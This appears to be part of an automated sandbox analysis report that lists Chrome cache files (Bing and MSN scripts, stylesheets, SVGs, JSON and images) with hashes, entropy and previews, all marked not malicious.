Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..3$1;.OZ7.i.J:.a....=h..Q....+..4o4.\..P...E2..qs...4....>.. .(.}(.4S.n9......2..c...S..b>..L..4o......F..E.?{z.].{S../..Z.....K..S0J...............H.r:z..T.7..0.<..~u..].q....@5.j.O52.?V.<...j.o...j.3...h.........F.....S...R.W(....d..G....+.Ks..*...->V+.K.xC....A.Z..(...}..lR..>.....`.U.7=U..u...R=/..].#.~.............zQ.zP......;...........

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	downloaded
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/No5xIZMVh9KdmI4bjLD9p4Xl0Ys.js
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.906475176292464
Encrypted:	false
SSDEEP:	24:t3JfDuJSMMg7cO4PRgASiFL9PddDSYXIzfpMhg4BLy+K5bHxpGlG8O:30cZPRdx3n9vLvK5bHac8O
MD5:	7EAFCE495848D8F8805487DA7F6C17E8
SHA1:	D14E7BE4F3BA3860F9292B6E1FE1EE6B432945F6
SHA-256:	B6F9A9A7FD5FAD7452F972E26119B4A2180E6E28681C4CA77F3D49A9DCB3A151
SHA-512:	A7D4A78E6C1DC8BAB9B86C099417E1AC2CC6581A7F99780ACCAC2A79F5D5FAEEBA514A61B3BEB34A8BAE6C4B3CC67A8580F4506ABB0817DC7DB3499464827DF3
Malicious:	false
Reputation:	unknown
Preview:	<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M13.6505 1.15573C13.6203 0.625918 13.191 0.206607 12.6606 0.188891L7.86533 0.0287154C7.57733 0.0190956 7.29857 0.131052 7.09722 0.337199L0.313162 7.28308C-0.0826965 7.68838 -0.0750412 8.33785 0.33026 8.7337L5.39872 13.6841C5.80402 14.0799 6.45349 14.0723 6.84935 13.667L13.6334 6.72108C13.8348 6.51493 13.9401 6.2336 13.9237 5.94591L13.6505 1.15573ZM11.0542 3.19839C11.3347 3.47234 11.7842 3.46704 12.0581 3.18655C12.3321 2.90607 12.3268 2.4566 12.0463 2.18265C11.7658 1.9087 11.3163 1.914 11.0424 2.19449C10.7684 2.47497 10.7737 2.92443 11.0542 3.19839Z" fill="url(#paint0_linear_9629_1325)"/>.. <defs>.. <linearGradient id="paint0_linear_9629_1325" x1="4.94694" y1="13.487" x2="0.000210146" y2="3.39805" gradientUnits="userSpaceOnUse">.. <stop stop-color="#4464FF"/>.. <stop offset="1" stop-color="#44B0FF"/>..

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21819)
Category:	dropped
Size (bytes):	21850
Entropy (8bit):	5.354090222291205
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfiWahKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0TVteAaV:Y5TifxbBpBnqIH+Z6sepXv0uAaV
MD5:	30280C218D3CAAF6B04EC8C6F906E190
SHA1:	653D368EFDD498CAF65677E1D54F03DD18B026B5
SHA-256:	D313C6FFF97701CC24DB9D84C8B0643CA7A82A01C0868517E6E543779985C46E
SHA-512:	1F329898FA0E68F65095B813CA20351ACFEAA5F74DB886508FD4F1FA85811A8CC683C6FAB9D9F094F596C8957219F8E29A6307EA0B2D470BDC809A4B9C9D34DC
Malicious:	false
Reputation:	unknown
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11012)
Category:	downloaded
Size (bytes):	54506
Entropy (8bit):	5.412530374899776
Encrypted:	false
SSDEEP:	768:MxNqYV6qLWepUD4Pax62tVQf8wlXENvsL3OTdTu2ENpW/d6RVLue3oXXSev:fsTLHUQfvI7aXvuXH
MD5:	7BAAF7DB14A9C12211062C3B879B9BB6
SHA1:	21EDB37B438431E8F6B2B3A8CCD2FA6572276E3F
SHA-256:	1D1257463FC9CD415D4FA976D12D039F3A37BDF5D8841772EF44F9A9084D6424
SHA-512:	2B173747115CE6F9820CAC5029E4AFF0B6719DA3DC1A6D8B49D8A1673F80018B3E5867EEE6A12E4D0CBCF41B967F2EDF7E1260E8D835BECFF003D899DB724379
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-legacy-card.e1f088bd2f84117f1069.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-legacy-card"],{74037:function(e,t){"use strict";t.Z='<svg width="14" height="15" viewBox="0 0 12 8"><path d="m11.25.8.53.52-5.9 5.89L0 1.3.53.8l5.36 5.36L11.25.8Z"/></svg>'},52468:function(e,t,a){"use strict";a.d(t,{a:function(){return g}});var i=a(33940),o=a(75155),n=a(99452),r=a(83227),l=a(38156),s=a(65135),d=a(60483),c=a(3900),h=a(987),p=a(98304);class g extends o.l{constructor(){super(...arguments),this.clickBannerWithin7days=!1,this.showBannerTwiceWithin7days=!1,this.sdCardMaskVisible=!0,this.showInitialBanner=!1,this.showContextualFeedback=!1,this.showThankBanner=!1,this.loadFeedbackLinkWCE=!1}experienceConnected(){this.telemetryObject=new d.D({name:"SdCardMask"+this.cardType,action:l.Aw.Click,behavior:l.wu.View,content:{headline:this.cardType}}),this.sdCardMaskVisible=!g.visited.has(this.cardType),this.generateTelemetryTags(),this.isProng2Widget="prong2"===this.config.sc

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1248
Entropy (8bit):	4.794006986210145
Encrypted:	false
SSDEEP:	12:6v/7FKUjCpiCOvfHhAqbCqzald1uVyjq0nc91fSn62gg:INvfygBQdggWuM1qdg
MD5:	4CA14D11E247672836C5BF5C1D7BC0B8
SHA1:	7AB5A1DA7702D2413FF7AA69E900EA0CD61B85F2
SHA-256:	9CDCCFE1364E044C501EBAFFAC0E46F04309AA8FB8E647000784238B49E64273
SHA-512:	17C2E87F1EEFD769B6270CBC27022C998EF30A595AB01331A056ABBBB3C517A2BA6CF9116C3F82FCA10C6F92D5434C0DEB94DBAF9AA09A84EA150A8D40B459A4
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAywOab.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....2IDATx...]H.Q...m..6.m"Y..-..3...%TDb..B..E.MaHA....(.D."....]...t..u......>..2t..].0[.o.9.{.....?..[>.......f..rN].G....s............C&I...".....w.(..\.BF..Mu.t...;.z..l...$=r. .HH6.-". ..<.^/..[.q....Cm..,..+...c.......1.sGj.u.^W"U.8.....Q....\|.U.k1.u.u..m.cX\4.8.....N......o0.....D.~q`....].K..F.._.i^6[..(..$K..]...;,).gz.`$....GO...:./........A8.J'..Ymgn..Ki....P.!*....K\f.p[...v..E.O...7]!H.....5+....$Z...Y.0.w....+..V..j5.?yY.E`kf....fRd<.....+.....D..&..........pv.)3F.....=...9'C.{.R..7.aL.~.%K.}../..9}~._c.`...2...&...}....IEND.B`.........................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.285156263189152
Encrypted:	false
SSDEEP:	24:fiLEltccCet6dvBdT1QjjICm7XdHqgqWmeBqRsmuKGXp+T1pxcJlTbdP6:3Hgd5GjICYhmwqemuKG21/uTbdi
MD5:	72AC53C918F35A73809317EC46E28594
SHA1:	160C2B05107CD63E081995D13F96A4C31727244C
SHA-256:	5ED68039383EB61A753F134004392C513C7BD20BC1C2328D571BD3DB650C1BE4
SHA-512:	988F81B7A4A11F9FFEB6F4C269A607DAFFDDB7D6B126B5811EBAB69BFCBC7F7333D43F76EE1B7A6FEDCE64CCB1FF014B3870D52B75B69ACB49C2A832BA4D9BD8
Malicious:	false
Reputation:	unknown
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........h.................................................!..1A..............................................!1............?..O___.N.}{......m@<~....V...C....@.P.4S.(.."..Q..T%lE5b>.j.&..0^.I.....@C....P..$T.DS.r....#...?+../n..w%sH.f...........0RP.....E5..E#..h....&..H..H....0......2..DQ.....A..."...DQ".%FT.\......;....X..* ".V......&.4.(.Q.Qi.eL...&4.T..k.......q..R..d8...N+."..r\s.dvO8.?0...9.D``.B.)...5$.3%...@qq+..P.6T.%P..DF..3%DUE&).JJ.\\g..W.^\|3...u.#.X..?.......zyW.....!....~ZhS.L..F...&...."...2.E8.4.q.q.Y..T\D\....U!H.4.3R+H.........7...i:b.i...E.y.W......Yu..jq...HS.8.dq...`.F,5...D.#HhP...j..8...EZ.f.A.^..r.U....+C.z.^.Y......yW...4...g.b..1......[Jz.OY..7k.F.EQ..R..Q.".T.....R.4(U.Vj.U..g...T......V2.T..NVzz..U...............&.ZN..f.....g.....OX..5..:.@.....f.

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	239788
Entropy (8bit):	6.0512516137169925
Encrypted:	false
SSDEEP:	6144:lU6lXelzhnwcD+VNpQi0jbIs9iE8aFickjj7kG+NFuckpj7kG+g8R9EvPG0GRCcA:lU6V2W89jbIs9iE8aFickjj7kG+NFucY
MD5:	2EED513D341865A4AF3982A1BF2FBF16
SHA1:	EB00DDF344DFAE3B31AB19C497B383A52591C5D6
SHA-256:	4DF0522D237C3D1545C27522DD06F6E21410799B068DD8748FF8072C32C2A810
SHA-512:	ED742FFD83553469610ED70B144178FC07DCD21E4600BDDE05F4AAF0DA735DB44269DE4BE0A4EAC18D7CF4FAE26FD5ECFEE3CAE9871A3D0813DA3EA62FBAA3FC
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .customIcon{display:flex;align-items:center}.scopes .customIcon .icon{height:16px;width:16px;padding-right:8px}.scopes .customIcon .icon .rms_img{display:block;margin-top:1px}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none;display:block}.scopes .scope a,.scopes .scope .footer .items .item .a_bold,.footer .items .item .scopes .scope .a_bold{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{colo

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (520), with no line terminators
Category:	downloaded
Size (bytes):	520
Entropy (8bit):	5.271876799734874
Encrypted:	false
SSDEEP:	12:hc2AcSdEcvZswcAIly1YkOcAwI98NyeTg2TQHYN:hc2AcSSwDcr98XhuYN
MD5:	F03CFEE55A7F1E0B91DD062A5654FC3D
SHA1:	57D2DB8B8AC66A403E3A3C1C2DCA21E63AF5CDF6
SHA-256:	39477BAE95EE7073936851A67106A42F585454EBD6C4FEADEACC818C52DA49A4
SHA-512:	7E66C667FD3F0B1C91296011D7E382776F12905F12C25CCAD4710459FA1E595D2D4A3626C3E969AC1B1575ADD0839EC09CE211B59C694FDBB34D7E5F6D3A5950
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rs/79/x4/nj/V9Lbi4rGakA-OjwcLcoh5jr1zfY.js?or=w
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",u=_w.location.search.substring(1),r=window.data_iid,t,f;i+=r&&r.length>0?"?IG="+_G.IG+"&IID="+r+"&"+u:"?"+u;_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();f="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(sj_b,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(f)}

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64723)
Category:	downloaded
Size (bytes):	217171
Entropy (8bit):	5.516547549800321
Encrypted:	false
SSDEEP:	3072:ECAFYoK3+LLND6Ok/IxNs0Drpgrmyv0ESXwU0L:ECAF23AhD6OsIxuv0ESX1m
MD5:	FECBD69C0CB18FDD8F8918AD9C34363C
SHA1:	3E99FF6122CD72B585BF641C672084591747212F
SHA-256:	4CF6DD6B6EBD9F51817C4A8C4F2678D714C02E8CCDE06974B39D050FCD008C7F
SHA-512:	A6AE760AFBA686AF0D5D5D9F95C514E7A5F79FE3B52A466C0ED38D7AEFD0F3B6C0B8E997CB60FEB8E95D741F53E5B6936BA97A011D1259529E9E833657A757E7
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/shopping-sd-card.17fd04a1ee6981eb2597.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["shopping-sd-card"],{52468:function(e,t,i){i.d(t,{a:function(){return g}});var n=i(33940),o=i(75155),r=i(99452),a=i(83227),s=i(38156),l=i(65135),d=i(60483),c=i(3900),p=i(987),u=i(98304);class g extends o.l{constructor(){super(...arguments),this.clickBannerWithin7days=!1,this.showBannerTwiceWithin7days=!1,this.sdCardMaskVisible=!0,this.showInitialBanner=!1,this.showContextualFeedback=!1,this.showThankBanner=!1,this.loadFeedbackLinkWCE=!1}experienceConnected(){this.telemetryObject=new d.D({name:"SdCardMask"+this.cardType,action:s.Aw.Click,behavior:s.wu.View,content:{headline:this.cardType}}),this.sdCardMaskVisible=!g.visited.has(this.cardType),this.generateTelemetryTags(),this.isProng2Widget="prong2"===this.config.scenarioType;const e=this.isFullCard?"widget fullWidget ":"widget ";this.sdMaskContextContainerClassName=this.isProng2Widget?"sd-mask-context-container "+e:"sd-mask

Chrome Cache Entry: 674

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31511
Entropy (8bit):	5.678740537446584
Encrypted:	false
SSDEEP:	768:rUqw5Xmdfg58CMsk66xBo5EUWC5MJ4YkztsVUOJEvU04sDYwe/BfTRkJ5rr4:rUFkd4uxS6UWC5MJ4Ykzts+WUNfU5pN
MD5:	2703DCBB536207965600AC798A5249D6
SHA1:	59A861A91FA1D1CDB9179E31EF3321F5BE07DDF7
SHA-256:	CDA009F085871A9A4E311451511F90B00BB3BD2CB6EF8596EC2B47910B75AEA4
SHA-512:	3A5D60AF158D1DE565E02DCD350502DD5D106C5C0A491FDB398CF5223A5C7FFAA63F46D4196A08326A4ACD552AC8D64E5FABAF9AEEE7DFE483EB2F70E975EE05
Malicious:	false
Reputation:	unknown
Preview:	{"Scripts":[{"Path":"https://r.bing.com/rp/pF2PfMNHZl6kUOVLn4XEGHZP_z0.js","Postloaded":true},{"Path":"https://r.bing.com/rp/yfhemBfy2-1hsn-Pzs7ZcFHIdVM.js","Postloaded":true}],"Styles":[{"Path":"https://r.bing.com/rp/qz_XABEk9uinJqFMD6b6yPjYYTU.css","Postloaded":false},{"Path":"https://r.bing.com/rp/RwGC9aq3HWFHA4-nvqf37VWlckM.css","Postloaded":false},{"Path":"https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css","Postloaded":true},{"Path":"https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css","Postloaded":true}],"CustomFields":{"VideoYuleLog":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/1080/Fireplace_GettyRR_98571085_1080.mp4","VideoAurora":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/Aurora/1080/1920_FinlandAurora_SS_13482083.mp4","AudioYuleLogMp3":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/audio/CozyFirepace_Getty_553682.mp3","ImageToShare":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2020/h

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	42542
Entropy (8bit):	7.952215096890445
Encrypted:	false
SSDEEP:	768:eWYDgdMvhtzFNqffm2q02V1suov+1EVAI1p70H0u3NlpFn+bOfakZ2AJB9u:exwKjFN0+TDzsNKI1pc73Nd+bOfJ1Lu
MD5:	51755E7FA1750D904429FF4B400985B8
SHA1:	8D003634B855806244599FFB2EE0719ABB1E8C1C
SHA-256:	B42AD88FB77D27B9B645753FB84985DDC82793783379AF6807636BABB94BA199
SHA-512:	DA7903FCB8404ABF71C09A5DC540328BC19FA49ADC3C1AA43CCAAC362923B9A12C5C9475B30763876F8AD22B8606CFAB6DF4247C1963769A676F836D4165F979
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.f276529e3cfa9dd75c38de7bb1ef83cc&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..q.A.AZ....5.T.t;...r@.b?W8...i.?0_.8..~.H....c.yP.....#.Z....1..'+$...~....qS+...n..o.<k...[.xnmwS......$D..]w..x.J.. >...}].+..<9.i...].4Xa.8?....c......[f..`..f...o...-...(...sE..5...L......-,-f....8.].....l..x..7.e[.c..\|..].?.5.M.O..Yo.i.g.....pk.GP77...2.....U....'.br.Z.PQ.6..}4k.g....u..4.{.....b?...r....iW_f.4.9;...O.....R.k...WX.t.Z.k.N.+.Y..E

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	885
Entropy (8bit):	4.5570985620533735
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5CRaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5C4zFQZcSXWEcoqRQ
MD5:	3EE38F567EE1E65F61C47CCA63D4EF8B
SHA1:	28A9AFEE39ACEB67BF89CF30CA9831E54286200F
SHA-256:	21227BFE773210614F70787C9BD2C6AC5A301791205A69E67E3AA65162D94929
SHA-512:	52E593E07BE82ADFA9599EB4DFBFFA322CEC58CDA4A17BCA0BCA1A6A4E6ECB2A459B41B1B1103D022376F51FACA819BA442B55B8BF6286CF6152FA3CB9F62FA6
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/KKmv7jms62e_ic8wypgx5UKGIA8.svg
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28499), with no line terminators
Category:	downloaded
Size (bytes):	28499
Entropy (8bit):	5.464092044647653
Encrypted:	false
SSDEEP:	768:kpe5mB7azmB7ad5KVyDQNSkGyDQS2mZvghM/4S8Sv:kVaAazDxgDj/Zvb7nv
MD5:	435D4389CF37EBDF488B09D33328E64C
SHA1:	E4897917BB729F94808672478A32FAD44CEEB350
SHA-256:	F56C5B27AD30B13345DEDB5081AC381A0BE37A454242D2D289B90C5F44CDDDA8
SHA-512:	E0C35C5055200CD536B190966872EBEB8D7ED9ECE087E49F51B0EF6F9D7A935DC938C53C9C562E42506A10DDDE08C6B8D7B0A1EFB10BCD972FE5EF124DCCA88A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/5Il5F7tyn5SAhnJHijL61Ezus1A.js
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redotIMG.png",w=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible}}return n.prototype.initialize=function(){var r=this,e,o,s,w,n;if(this.reportActivityModel){if(this.sendR

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1572)
Category:	dropped
Size (bytes):	1683
Entropy (8bit):	5.186451907734713
Encrypted:	false
SSDEEP:	48:t6PgUAmPopXrdMmgVTAfya6SWunZ5SsuoAu0:t6PgUAmPM2AfpxWwZ5SsLA/
MD5:	8EED6E7AC45EE806FB3A776A9D737A2B
SHA1:	308F4FF6250616769447324C525912C40101514E
SHA-256:	A2114A744F1FC16F40A83D265F16C23DE4CED071A8E7B55FFC5D18B5C110183F
SHA-512:	EFEE015CEE8B6A65203CFBF1EA8DC08F2C2C53D2B186316289456E43F76A9353FE476F536DBBDA054EAC76BD2565025402AD9DC8ABF55A9FBADA0F07063FAD48
Malicious:	false
Reputation:	unknown
Preview:	<script type="text/javascript" nonce="Dq4Qb9k1jWBnJjRlSOf7XhFSuIwt4GdsAjG98chtCOU=">//<![CDATA[.sj_evt && sj_evt.bind( "onRALoad", function() { var reportActivityModule = new ModernRewards.ReportActivity({"AnimateHeader":true,"IsAuthenticated":false,"DashboardUrl":"/rewards/dashboard","IsMobileClient":false,"RewardsIncrement":1,"RewardsSessionData":{"IsRewardUser":false,"IsLinkedUser":false,"IsTenantEnabled":false,"IsAadUser":false,"IsTrialUser":false,"TrialUserClaimBalance":0.0,"IsRebatesUser":false,"IsRebatesDeniedUser":true,"Balance":0,"RewardsBalance":0,"GiveBalance":0,"RebatesBalance":0.0,"IsGiveModeOn":false,"PreviousBalance":0,"GoalTrackBalance":200,"IsLevel2":false,"IsOptOut":false,"IsSuspended":false,"ShowAnimation":false,"IsRedirectedFromOldDashboard":false,"ImpressionLifeTimeCount":2,"DailyImpressionHPCount":1,"DailyImpressionSerpCount":0,"VisitedCount":2,"LastVisitTime":"2023-12-06T08:00:00Z","LastAutoOpenFlyoutTime":"0001-01-01T00:00:00","AutoOpenFlyoutFlag":false,"IsCLOUs

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (55200)
Category:	downloaded
Size (bytes):	115516
Entropy (8bit):	5.4468973130101626
Encrypted:	false
SSDEEP:	1536:z+HTGujHDljSadkHycv1/+foqKXHawiC8SbbORqNrtzFSezhozdpRMH:z+HTGujsdHycv1/+foqKXHawiCJf5p
MD5:	8E0415A5B0BA09FFE1B20B1B7F919D96
SHA1:	A381D0E84452ABAE83A013E7A5BEEAA355783F17
SHA-256:	8925E900C60537469EF290991A41B40A7C44E760B5F32213437F8B13A09AB5DD
SHA-512:	C41DC40BDE448D39F01E270DCEA483BC81BF3C52A8A1544D93490E19F2870CECC23052174BC6568774BBA9191A1FD9B9B05A3D9ADAEADC81CB216CE55EB72A73
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/card-actions-wc.e49ce4b00559e7496194.js
